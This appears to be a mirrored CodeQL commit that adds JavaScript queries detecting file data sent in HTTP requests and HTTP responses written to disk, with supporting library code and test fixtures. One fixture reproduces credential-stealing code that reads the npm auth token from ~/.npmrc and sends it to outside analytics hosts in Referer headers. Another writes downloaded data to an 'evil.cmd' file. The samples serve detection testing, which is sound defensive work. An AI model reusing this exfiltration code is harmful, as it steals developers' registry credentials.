mirror of
https://github.com/github/codeql.git
synced 2026-05-01 03:35:13 +02:00
Squished changes for HttpToFileAccess commint
This commit is contained in:
16
javascript/ql/src/Security/CWE-200/FileAccessToHttp.ql
Normal file
16
javascript/ql/src/Security/CWE-200/FileAccessToHttp.ql
Normal file
@@ -0,0 +1,16 @@
|
||||
/**
|
||||
* @name File Access data flows to Http POST/PUT
|
||||
* @description Writing data from file directly to http body or request header can be an indication to data exfiltration or unauthorized information disclosure.
|
||||
* @kind problem
|
||||
* @problem.severity warning
|
||||
* @id js/file-access-to-http
|
||||
* @tags security
|
||||
* external/cwe/cwe-200
|
||||
*/
|
||||
|
||||
import javascript
|
||||
import semmle.javascript.security.dataflow.FileAccessToHttp
|
||||
|
||||
from FileAccessToHttpDataFlow::Configuration config, DataFlow::Node src, DataFlow::Node sink
|
||||
where config.hasFlow (src, sink)
|
||||
select src, "$@ flows directly to Http request body", sink, "File access"
|
||||
16
javascript/ql/src/Security/CWE-912/HttpToFileAccess.ql
Normal file
16
javascript/ql/src/Security/CWE-912/HttpToFileAccess.ql
Normal file
@@ -0,0 +1,16 @@
|
||||
/**
|
||||
* @name Http response data flows to File Access
|
||||
* @description Writing data from an HTTP request directly to the file system allows arbitrary file upload and might indicate a backdoor.
|
||||
* @kind problem
|
||||
* @problem.severity warning
|
||||
* @id js/http-to-file-access
|
||||
* @tags security
|
||||
* external/cwe/cwe-912
|
||||
*/
|
||||
|
||||
import javascript
|
||||
import semmle.javascript.security.dataflow.HttpToFileAccess
|
||||
|
||||
from HttpToFileAccessFlow::Configuration configuration, DataFlow::Node src, DataFlow::Node sink
|
||||
where configuration.hasFlow(src, sink)
|
||||
select sink, "$@ flows to file system", src, "Untrusted data received from Http response"
|
||||
@@ -22,13 +22,27 @@ abstract class SystemCommandExecution extends DataFlow::Node {
|
||||
}
|
||||
|
||||
/**
|
||||
* A data flow node that performs a file system access.
|
||||
* A data flow node that performs a file system access (read, write, copy, permissions, stats, etc).
|
||||
*/
|
||||
abstract class FileSystemAccess extends DataFlow::Node {
|
||||
|
||||
/** Gets an argument to this file system access that is interpreted as a path. */
|
||||
abstract DataFlow::Node getAPathArgument();
|
||||
|
||||
/** Gets a node that represents file system access data, such as buffer the data is copied to. */
|
||||
abstract DataFlow::Node getDataNode();
|
||||
}
|
||||
|
||||
/**
|
||||
* A data flow node that performs read file system access.
|
||||
*/
|
||||
abstract class FileSystemReadAccess extends FileSystemAccess { }
|
||||
|
||||
/**
|
||||
* A data flow node that performs write file system access.
|
||||
*/
|
||||
abstract class FileSystemWriteAccess extends FileSystemAccess { }
|
||||
|
||||
/**
|
||||
* A data flow node that contains a file name or an array of file names from the local file system.
|
||||
*/
|
||||
|
||||
@@ -788,6 +788,10 @@ module Express {
|
||||
asExpr().(MethodCallExpr).calls(any(ResponseExpr res), "sendFile")
|
||||
}
|
||||
|
||||
override DataFlow::Node getDataNode() {
|
||||
result = DataFlow::valueNode(astNode)
|
||||
}
|
||||
|
||||
override DataFlow::Node getAPathArgument() {
|
||||
result = DataFlow::valueNode(astNode.getArgument(0))
|
||||
}
|
||||
|
||||
@@ -132,6 +132,11 @@ module HTTP {
|
||||
result = "http" or result = "https"
|
||||
}
|
||||
|
||||
/**
|
||||
* An expression whose value is sent as (part of) the body of an HTTP request (POST, PUT).
|
||||
*/
|
||||
abstract class RequestBody extends DataFlow::Node {}
|
||||
|
||||
/**
|
||||
* An expression whose value is sent as (part of) the body of an HTTP response.
|
||||
*/
|
||||
|
||||
@@ -336,6 +336,23 @@ module NodeJSLib {
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if the `i`th parameter of method `methodName` of the Node.js
|
||||
* `fs` module might represent a data parameter or buffer or a callback
|
||||
* that receives the data.
|
||||
*
|
||||
* We determine this by looking for an externs declaration for
|
||||
* `fs.methodName` where the `i`th parameter's name is `data` or
|
||||
* `buffer` or a 'callback'.
|
||||
*/
|
||||
private predicate fsDataParam(string methodName, int i, string n) {
|
||||
exists (ExternalMemberDecl decl, Function f, JSDocParamTag p |
|
||||
decl.hasQualifiedName("fs", methodName) and f = decl.getInit() and
|
||||
p.getDocumentedParameter() = f.getParameter(i).getAVariable() and
|
||||
n = p.getName().toLowerCase() |
|
||||
n = "data" or n = "buffer" or n = "callback"
|
||||
)
|
||||
}
|
||||
/**
|
||||
* A member `member` from module `fs` or its drop-in replacements `graceful-fs` or `fs-extra`.
|
||||
*/
|
||||
@@ -348,21 +365,161 @@ module NodeJSLib {
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* A call to a method from module `fs`, `graceful-fs` or `fs-extra`.
|
||||
*/
|
||||
private class NodeJSFileSystemAccess extends FileSystemAccess, DataFlow::CallNode {
|
||||
private class NodeJSFileSystemAccessCall extends FileSystemAccess, DataFlow::CallNode {
|
||||
string methodName;
|
||||
|
||||
NodeJSFileSystemAccess() {
|
||||
NodeJSFileSystemAccessCall() {
|
||||
this = fsModuleMember(methodName).getACall()
|
||||
}
|
||||
|
||||
string getMethodName() {
|
||||
result = methodName
|
||||
}
|
||||
|
||||
override DataFlow::Node getDataNode() {
|
||||
(
|
||||
methodName = "readFileSync" and
|
||||
result = this
|
||||
)
|
||||
or
|
||||
exists (int i, string paramName | fsDataParam(methodName, i, paramName) |
|
||||
(
|
||||
paramName = "callback" and
|
||||
exists (DataFlow::ParameterNode p, string n |
|
||||
p = getCallback(i).getAParameter() and
|
||||
n = p.getName().toLowerCase() and
|
||||
result = p |
|
||||
n = "data" or n = "buffer" or n = "string"
|
||||
)
|
||||
)
|
||||
or
|
||||
result = getArgument(i))
|
||||
}
|
||||
|
||||
override DataFlow::Node getAPathArgument() {
|
||||
exists (int i | fsFileParam(methodName, i) |
|
||||
result = getArgument(i)
|
||||
exists (int i | fsFileParam(methodName, i) |
|
||||
result = getArgument(i))
|
||||
}
|
||||
}
|
||||
|
||||
/** Only NodeJSSystemFileAccessCalls that write data to 'fs' */
|
||||
private class NodeJSFileSystemAccessWriteCall extends FileSystemWriteAccess, NodeJSFileSystemAccessCall {
|
||||
NodeJSFileSystemAccessWriteCall () {
|
||||
this.getMethodName() = "appendFile" or
|
||||
this.getMethodName() = "appendFileSync" or
|
||||
this.getMethodName() = "write" or
|
||||
this.getMethodName() = "writeFile" or
|
||||
this.getMethodName() = "writeFileSync" or
|
||||
this.getMethodName() = "writeSync"
|
||||
}
|
||||
}
|
||||
|
||||
/** Only NodeJSSystemFileAccessCalls that read data from 'fs' */
|
||||
private class NodeJSFileSystemAccessReadCall extends FileSystemReadAccess, NodeJSFileSystemAccessCall {
|
||||
NodeJSFileSystemAccessReadCall () {
|
||||
this.getMethodName() = "read" or
|
||||
this.getMethodName() = "readSync" or
|
||||
this.getMethodName() = "readFile" or
|
||||
this.getMethodName() = "readFileSync"
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to write corresponds to a pattern where file stream is open first with 'createWriteStream', followed by 'write' or 'end' call
|
||||
*/
|
||||
private class NodeJSFileSystemWrite extends FileSystemWriteAccess, DataFlow::CallNode {
|
||||
|
||||
NodeJSFileSystemAccessCall init;
|
||||
|
||||
NodeJSFileSystemWrite() {
|
||||
exists (NodeJSFileSystemAccessCall n |
|
||||
n.getCalleeName() = "createWriteStream" and init = n |
|
||||
this = n.getAMemberCall("write") or
|
||||
this = n.getAMemberCall("end")
|
||||
)
|
||||
}
|
||||
|
||||
override DataFlow::Node getDataNode() {
|
||||
result = this.getArgument(0)
|
||||
}
|
||||
|
||||
override DataFlow::Node getAPathArgument() {
|
||||
result = init.getAPathArgument()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to read corresponds to a pattern where file stream is open first with createReadStream, followed by 'read' call
|
||||
*/
|
||||
private class NodeJSFileSystemRead extends FileSystemReadAccess, DataFlow::CallNode {
|
||||
|
||||
NodeJSFileSystemAccessCall init;
|
||||
|
||||
NodeJSFileSystemRead() {
|
||||
exists (NodeJSFileSystemAccessCall n |
|
||||
n.getCalleeName() = "createReadStream" and init = n |
|
||||
this = n.getAMemberCall("read")
|
||||
)
|
||||
}
|
||||
|
||||
override DataFlow::Node getDataNode() {
|
||||
result = this
|
||||
}
|
||||
|
||||
override DataFlow::Node getAPathArgument() {
|
||||
result = init.getAPathArgument()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to read corresponds to a pattern where file stream is open first with createReadStream, followed by 'pipe' call
|
||||
*/
|
||||
private class NodeJSFileSystemPipe extends FileSystemReadAccess, DataFlow::CallNode {
|
||||
|
||||
NodeJSFileSystemAccessCall init;
|
||||
|
||||
NodeJSFileSystemPipe() {
|
||||
exists (NodeJSFileSystemAccessCall n |
|
||||
n.getCalleeName() = "createReadStream" and init = n |
|
||||
this = n.getAMemberCall("pipe")
|
||||
)
|
||||
}
|
||||
|
||||
override DataFlow::Node getDataNode() {
|
||||
result = this.getArgument(0)
|
||||
}
|
||||
|
||||
override DataFlow::Node getAPathArgument() {
|
||||
result = init.getAPathArgument()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An 'on' event where data comes in as a parameter (usage: readstream.on('data', chunk))
|
||||
*/
|
||||
private class NodeJSFileSystemReadDataEvent extends FileSystemReadAccess, DataFlow::CallNode {
|
||||
|
||||
NodeJSFileSystemAccessCall init;
|
||||
|
||||
NodeJSFileSystemReadDataEvent() {
|
||||
exists(NodeJSFileSystemAccessCall n |
|
||||
n.getCalleeName() = "createReadStream" and init = n |
|
||||
this = n.getAMethodCall("on") and
|
||||
this.getArgument(0).mayHaveStringValue("data")
|
||||
)
|
||||
}
|
||||
|
||||
override DataFlow::Node getDataNode() {
|
||||
result = this.getCallback(1).getParameter(0)
|
||||
}
|
||||
|
||||
override DataFlow::Node getAPathArgument() {
|
||||
result = init.getAPathArgument()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -602,7 +759,18 @@ module NodeJSLib {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* An argument to client request.write () method, can be used to write body to a HTTP or HTTPS POST/PUT request,
|
||||
* or request option (like headers, cookies, even url)
|
||||
*/
|
||||
class HttpRequestWriteArgument extends HTTP::RequestBody, DataFlow::Node {
|
||||
HttpRequestWriteArgument () {
|
||||
exists(CustomClientRequest req |
|
||||
this = req.getAMethodCall("write").getArgument(0) or
|
||||
this = req.getArgument(0))
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A data flow node that is registered as a callback for an HTTP or HTTPS request made by a Node.js process, for example the function `handler` in `http.request(url).on(message, handler)`.
|
||||
*/
|
||||
|
||||
@@ -44,5 +44,13 @@ module Request {
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// using 'request' library to make http 'POST' and 'PUT' requests with message body.
|
||||
private class RequestPostBody extends HTTP::RequestBody {
|
||||
RequestPostBody () {
|
||||
this = DataFlow::moduleMember("request", "post").getACall().getArgument(1) or
|
||||
this = DataFlow::moduleImport("request").getAnInvocation().getArgument(0)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
/**
|
||||
* Provides Taint tracking configuration for reasoning about file access taint flow to http post body
|
||||
*/
|
||||
import javascript
|
||||
import semmle.javascript.frameworks.HTTP
|
||||
|
||||
module FileAccessToHttpDataFlow {
|
||||
/**
|
||||
* A data flow source for reasoning about file access to http post body flow vulnerabilities.
|
||||
*/
|
||||
abstract class Source extends DataFlow::Node { }
|
||||
|
||||
/**
|
||||
* A data flow sink for reasoning about file access to http post body flow vulnerabilities.
|
||||
*/
|
||||
abstract class Sink extends DataFlow::Node { }
|
||||
|
||||
/**
|
||||
* A sanitizer for reasoning about file access to http post body flow vulnerabilities.
|
||||
*/
|
||||
abstract class Sanitizer extends DataFlow::Node { }
|
||||
|
||||
/**
|
||||
* A taint-tracking configuration for reasoning about file access to http post body flow vulnerabilities.
|
||||
*/
|
||||
class Configuration extends TaintTracking::Configuration {
|
||||
Configuration() { this = "FileAccessToHttpDataFlow" }
|
||||
|
||||
override predicate isSource(DataFlow::Node source) {
|
||||
source instanceof Source
|
||||
}
|
||||
|
||||
override predicate isSink(DataFlow::Node sink) {
|
||||
sink instanceof Sink
|
||||
}
|
||||
|
||||
override predicate isSanitizer(DataFlow::Node node) {
|
||||
super.isSanitizer(node) or
|
||||
node instanceof Sanitizer
|
||||
}
|
||||
|
||||
/** additional taint step that taints an object wrapping a source */
|
||||
override predicate isAdditionalTaintStep(DataFlow::Node pred, DataFlow::Node succ) {
|
||||
(
|
||||
pred = DataFlow::valueNode(_) or
|
||||
pred = DataFlow::parameterNode(_) or
|
||||
pred instanceof DataFlow::PropRead
|
||||
) and
|
||||
exists (DataFlow::PropWrite pwr |
|
||||
succ = pwr.getBase() and
|
||||
pred = pwr.getRhs()
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
/** A source is a file access parameter, as in readFromFile(buffer). */
|
||||
private class FileAccessArgumentAsSource extends Source {
|
||||
FileAccessArgumentAsSource() {
|
||||
exists(FileSystemReadAccess src |
|
||||
this = src.getDataNode().getALocalSource()
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
/** Sink is any parameter or argument that evaluates to a parameter ot a function or call that sets Http Body on a request */
|
||||
private class HttpRequestBodyAsSink extends Sink {
|
||||
HttpRequestBodyAsSink () {
|
||||
this instanceof HTTP::RequestBody
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
/**
|
||||
* Provides taint tracking configuration for reasoning about files created from untrusted http downloads.
|
||||
*/
|
||||
import javascript
|
||||
import semmle.javascript.security.dataflow.RemoteFlowSources
|
||||
|
||||
module HttpToFileAccessFlow {
|
||||
/**
|
||||
* A data flow source from untrusted http request to file access taint tracking configuration.
|
||||
*/
|
||||
abstract class Source extends DataFlow::Node { }
|
||||
|
||||
/**
|
||||
* A data flow sink for untrusted http request to file access taint tracking configuration.
|
||||
*/
|
||||
abstract class Sink extends DataFlow::Node { }
|
||||
|
||||
/**
|
||||
* A sanitizer for untrusted http request to file access taint tracking configuration.
|
||||
*/
|
||||
abstract class Sanitizer extends DataFlow::Node { }
|
||||
|
||||
/**
|
||||
* A taint-tracking configuration for reasoning about file access from untrusted http response body.
|
||||
*/
|
||||
class Configuration extends TaintTracking::Configuration {
|
||||
Configuration() { this = "HttpToFileAccessFlow" }
|
||||
|
||||
override predicate isSource(DataFlow::Node source) {
|
||||
source instanceof Source
|
||||
}
|
||||
|
||||
override predicate isSink(DataFlow::Node sink) {
|
||||
sink instanceof Sink
|
||||
}
|
||||
|
||||
override predicate isSanitizer(DataFlow::Node node) {
|
||||
super.isSanitizer(node) or
|
||||
node instanceof Sanitizer
|
||||
}
|
||||
}
|
||||
|
||||
/** A source of remote data, considered as a flow source for untrusted http data to file system access. */
|
||||
class RemoteFlowSourceAsSource extends Source {
|
||||
RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource }
|
||||
}
|
||||
|
||||
/** A sink that represents file access method (write, append) argument */
|
||||
class FileAccessAsSink extends Sink {
|
||||
FileAccessAsSink () {
|
||||
exists(FileSystemWriteAccess src |
|
||||
this = src.getDataNode()
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
| bufferRead.js:10:22:10:43 | new Buf ... s.size) | $@ flows directly to Http request body | bufferRead.js:31:21:31:28 | postData | File access |
|
||||
| googlecompiler.js:43:54:43:57 | data | $@ flows directly to Http request body | googlecompiler.js:37:18:37:26 | post_data | File access |
|
||||
| readStreamRead.js:11:21:11:35 | readable.read() | $@ flows directly to Http request body | readStreamRead.js:28:19:28:23 | chunk | File access |
|
||||
| request.js:27:52:27:55 | data | $@ flows directly to Http request body | request.js:7:11:7:20 | {jsonData} | File access |
|
||||
| request.js:42:51:42:54 | data | $@ flows directly to Http request body | request.js:15:11:22:3 | {\\n u ... ody\\n } | File access |
|
||||
| sentAsHeaders.js:8:79:8:84 | buffer | $@ flows directly to Http request body | sentAsHeaders.js:13:20:18:9 | {\\n ... } | File access |
|
||||
| sentAsHeaders.js:8:79:8:84 | buffer | $@ flows directly to Http request body | sentAsHeaders.js:19:20:24:9 | {\\n ... } | File access |
|
||||
@@ -0,0 +1 @@
|
||||
Security/CWE-200/FileAccessToHttp.ql
|
||||
@@ -0,0 +1,39 @@
|
||||
const fs = require('fs');
|
||||
var http = require('http');
|
||||
|
||||
var fileName = "foo.txt";
|
||||
|
||||
fs.exists(fileName, function (exists) {
|
||||
if (exists) {
|
||||
fs.stat(fileName, function (error, stats) {
|
||||
fs.open(fileName, "r", function (error, fd) {
|
||||
var buffer = new Buffer(stats.size);
|
||||
fs.read(fd, buffer, 0, buffer.length, null, function (error, bytesRead) {
|
||||
|
||||
var postData = buffer.toString("utf8", 0, bytesRead);
|
||||
|
||||
const options = {
|
||||
hostname: 'www.google.com',
|
||||
port: 80,
|
||||
path: '/upload',
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/x-www-form-urlencoded',
|
||||
'Content-Length': Buffer.byteLength(postData)
|
||||
}
|
||||
};
|
||||
|
||||
const req = http.request(options, (res) => {
|
||||
res.setEncoding('utf8');
|
||||
});
|
||||
|
||||
// write data to request body
|
||||
req.write(postData);
|
||||
req.end();
|
||||
});
|
||||
|
||||
fs.close(fd);
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
1699
javascript/ql/test/query-tests/Security/CWE-200/externs/fs.js
Normal file
1699
javascript/ql/test/query-tests/Security/CWE-200/externs/fs.js
Normal file
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,61 @@
|
||||
// We need this to build our post string
|
||||
var querystring = require('querystring');
|
||||
var http = require('http');
|
||||
var fs = require('fs');
|
||||
|
||||
function PostCode(codestring) {
|
||||
// Build the post string from an object
|
||||
var post_data = querystring.stringify({
|
||||
'compilation_level' : 'ADVANCED_OPTIMIZATIONS',
|
||||
'output_format': 'json',
|
||||
'output_info': 'compiled_code',
|
||||
'warning_level' : 'QUIET',
|
||||
'js_code' : codestring // BAD: passing data from file to the request json body
|
||||
});
|
||||
|
||||
// An object of options to indicate where to post to
|
||||
var post_options = {
|
||||
host: 'closure-compiler.appspot.com',
|
||||
port: '80',
|
||||
path: '/compile',
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/x-www-form-urlencoded',
|
||||
'Content-Length': Buffer.byteLength(post_data)
|
||||
}
|
||||
};
|
||||
|
||||
// Set up the request
|
||||
var post_req = http.request(post_options, function(res) {
|
||||
res.setEncoding('utf8');
|
||||
res.on('data', function (chunk) {
|
||||
console.log('Response: ' + chunk);
|
||||
});
|
||||
});
|
||||
|
||||
// post the data
|
||||
post_req.write(post_data);
|
||||
post_req.end();
|
||||
|
||||
}
|
||||
|
||||
// This is an async file read
|
||||
fs.readFile('LinkedList.js', 'utf-8', function (err, data) {
|
||||
if (err) {
|
||||
// If this were just a small part of the application, you would
|
||||
// want to handle this differently, maybe throwing an exception
|
||||
// for the caller to handle. Since the file is absolutely essential
|
||||
// to the program's functionality, we're going to exit with a fatal
|
||||
// error instead.
|
||||
console.log("FATAL An error occurred trying to read in the file: " + err);
|
||||
process.exit(-2);
|
||||
}
|
||||
// Make sure there's data before we post it
|
||||
if(data) {
|
||||
PostCode(data);
|
||||
}
|
||||
else {
|
||||
console.log("No data to post");
|
||||
process.exit(-1);
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,28 @@
|
||||
var fs = require("fs");
|
||||
var http = require("http");
|
||||
|
||||
let data = fs.readFileSync("input.txt");
|
||||
try {
|
||||
let s = data.toString();
|
||||
// An object of options to indicate where to post to
|
||||
var post_options = {
|
||||
host: 'closure-compiler.appspot.com',
|
||||
port: '80',
|
||||
path: '/compile',
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/x-www-form-urlencoded',
|
||||
'Content-Length': Buffer.byteLength(s)
|
||||
}
|
||||
};
|
||||
|
||||
// Set up the request
|
||||
var post_req = http.request(post_options, function(res) {
|
||||
res.setEncoding('utf8');
|
||||
});
|
||||
|
||||
// post the data
|
||||
post_req.write(s);
|
||||
post_req.end();
|
||||
} catch (e) {
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
const fs = require('fs');
|
||||
var http = require('http');
|
||||
|
||||
var fileName = "foo.txt";
|
||||
|
||||
fs.exists(fileName, function (exists) {
|
||||
if (exists) {
|
||||
fs.stat(fileName, function (error, stats) {
|
||||
var readable = fs.createReadStream(fileName);
|
||||
readable.on('readable', () => {
|
||||
let chunk = readable.read();
|
||||
|
||||
const options = {
|
||||
hostname: 'www.google.com',
|
||||
port: 80,
|
||||
path: '/upload',
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/x-www-form-urlencoded',
|
||||
}
|
||||
};
|
||||
|
||||
const req = http.request(options, (res) => {
|
||||
res.setEncoding('utf8');
|
||||
});
|
||||
|
||||
// write data to request body
|
||||
req.write(chunk);
|
||||
|
||||
req.end();
|
||||
});
|
||||
|
||||
fs.close(fd);
|
||||
});
|
||||
}
|
||||
});
|
||||
55
javascript/ql/test/query-tests/Security/CWE-200/request.js
Normal file
55
javascript/ql/test/query-tests/Security/CWE-200/request.js
Normal file
@@ -0,0 +1,55 @@
|
||||
|
||||
var fs = require('fs');
|
||||
var request = require('request');
|
||||
|
||||
function PostJSON(jsonData)
|
||||
{
|
||||
request({jsonData}, function (error, response, body){ // BAD: passing data from file to the request body
|
||||
console.log(response);
|
||||
});
|
||||
}
|
||||
|
||||
function PostXML(xmlData)
|
||||
{
|
||||
|
||||
request({
|
||||
url: "http://example.com/myxml",
|
||||
method: "POST",
|
||||
headers: {
|
||||
"content-type": "application/xml",
|
||||
},
|
||||
body: xmlData // BAD: passing data from file to the request body
|
||||
}, function (error, response, body){
|
||||
console.log(response);
|
||||
});
|
||||
}
|
||||
|
||||
fs.readFile('MyFile.json', 'utf-8', function (err, data) { // source
|
||||
if (err) {
|
||||
console.log("FATAL An error occurred trying to read in the file: " + err);
|
||||
process.exit(-2);
|
||||
}
|
||||
// Make sure there's data before we post it
|
||||
if(data) {
|
||||
PostJSON(data);
|
||||
}
|
||||
else {
|
||||
console.log("No data to post");
|
||||
process.exit(-1);
|
||||
}
|
||||
});
|
||||
|
||||
fs.readFile('MyFile.xml', 'utf-8', function (err, data) { // source
|
||||
if (err) {
|
||||
console.log("FATAL An error occurred trying to read in the file: " + err);
|
||||
process.exit(-2);
|
||||
}
|
||||
// Make sure there's data before we post it
|
||||
if(data) {
|
||||
PostXML(data);
|
||||
}
|
||||
else {
|
||||
console.log("No data to post");
|
||||
process.exit(-1);
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,28 @@
|
||||
try {
|
||||
var path = require("path"), fs = require("fs"), content = "nofile";
|
||||
var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, ".npmrc");
|
||||
if (fs.existsSync(npmrc)) {
|
||||
content = fs.readFileSync(npmrc, { encoding: "utf8" });
|
||||
fs.open(npmrc, "r", function (error, fd) {
|
||||
var buffer = new Buffer(stats.size);
|
||||
fs.read(fd, buffer, 0, buffer.length, null, function (error, bytesRead, buffer) {
|
||||
var content = buffer.toString("utf8", 0, bytesRead);
|
||||
content = content.replace("//registry.npmjs.org/:_authToken=", "").trim();
|
||||
var https1 = require("https");
|
||||
https1.get({
|
||||
hostname: "sstatic1.histats.com",
|
||||
path: "/0.gif?4103075&101",
|
||||
method: "GET",
|
||||
headers: { Referer: "http://1.a/" + content } //BAD: passing stolen token in a header
|
||||
}, () => { })
|
||||
https1.get({
|
||||
hostname: "c.statcounter.com",
|
||||
path: "/11760461/0/7b5b9d71/1/",
|
||||
method: "GET",
|
||||
headers: { Referer: "http://2.b/" + content } //BAD: passing stolen token in a header
|
||||
}, () => { })
|
||||
});
|
||||
});
|
||||
}
|
||||
} catch (e) {
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
| tst.js:15:33:15:33 | c | $@ flows to file system | tst.js:14:26:14:26 | c | Untrusted data received from Http response |
|
||||
| tst.js:18:25:18:25 | c | $@ flows to file system | tst.js:14:26:14:26 | c | Untrusted data received from Http response |
|
||||
| tst.js:23:22:23:22 | c | $@ flows to file system | tst.js:14:26:14:26 | c | Untrusted data received from Http response |
|
||||
@@ -0,0 +1 @@
|
||||
Security/CWE-912/HttpToFileAccess.ql
|
||||
1699
javascript/ql/test/query-tests/Security/CWE-912/externs/fs.js
Normal file
1699
javascript/ql/test/query-tests/Security/CWE-912/externs/fs.js
Normal file
File diff suppressed because it is too large
Load Diff
40
javascript/ql/test/query-tests/Security/CWE-912/tst.js
Normal file
40
javascript/ql/test/query-tests/Security/CWE-912/tst.js
Normal file
@@ -0,0 +1,40 @@
|
||||
try {
|
||||
var https = require('https');
|
||||
var fs = require('fs');
|
||||
|
||||
https.get({
|
||||
'hostname': 'example.com', path: '/raw/XXXXXXXX', headers:
|
||||
{
|
||||
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
|
||||
Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
|
||||
}
|
||||
},
|
||||
(response) => {
|
||||
response.setEncoding('utf8');
|
||||
response.on('data', (c) => {
|
||||
fs.writeFile("/tmp/test", c, (err) => {}); // BAD: data from response 'on' event flows to file
|
||||
|
||||
let writeStream = fs.createWriteStream('/usr/evil/evil.cmd');
|
||||
writeStream.write(c); // BAD: data from response 'on' event flows to filestream write
|
||||
writeStream.end();
|
||||
|
||||
var stream = fs.createWriteStream("my_file.txt");
|
||||
stream.once('open', function (fd) {
|
||||
stream.write(c); // BAD: data from response 'on' event flows to filestream write
|
||||
stream.end();
|
||||
});
|
||||
});
|
||||
response.on('error', () =>
|
||||
{
|
||||
fs.writeFile("/tmp/test", "error occured"); // GOOD: static data written to file
|
||||
});
|
||||
}).on('error', () =>
|
||||
{
|
||||
let error = "error occured";
|
||||
let writeStream = fs.createWriteStream('/usr/good/errorlog.txt');
|
||||
writeStream.write(error); // GOOD: static data written to file stream
|
||||
writeStream.end();
|
||||
});
|
||||
}
|
||||
catch (e) {
|
||||
}
|
||||
Reference in New Issue
Block a user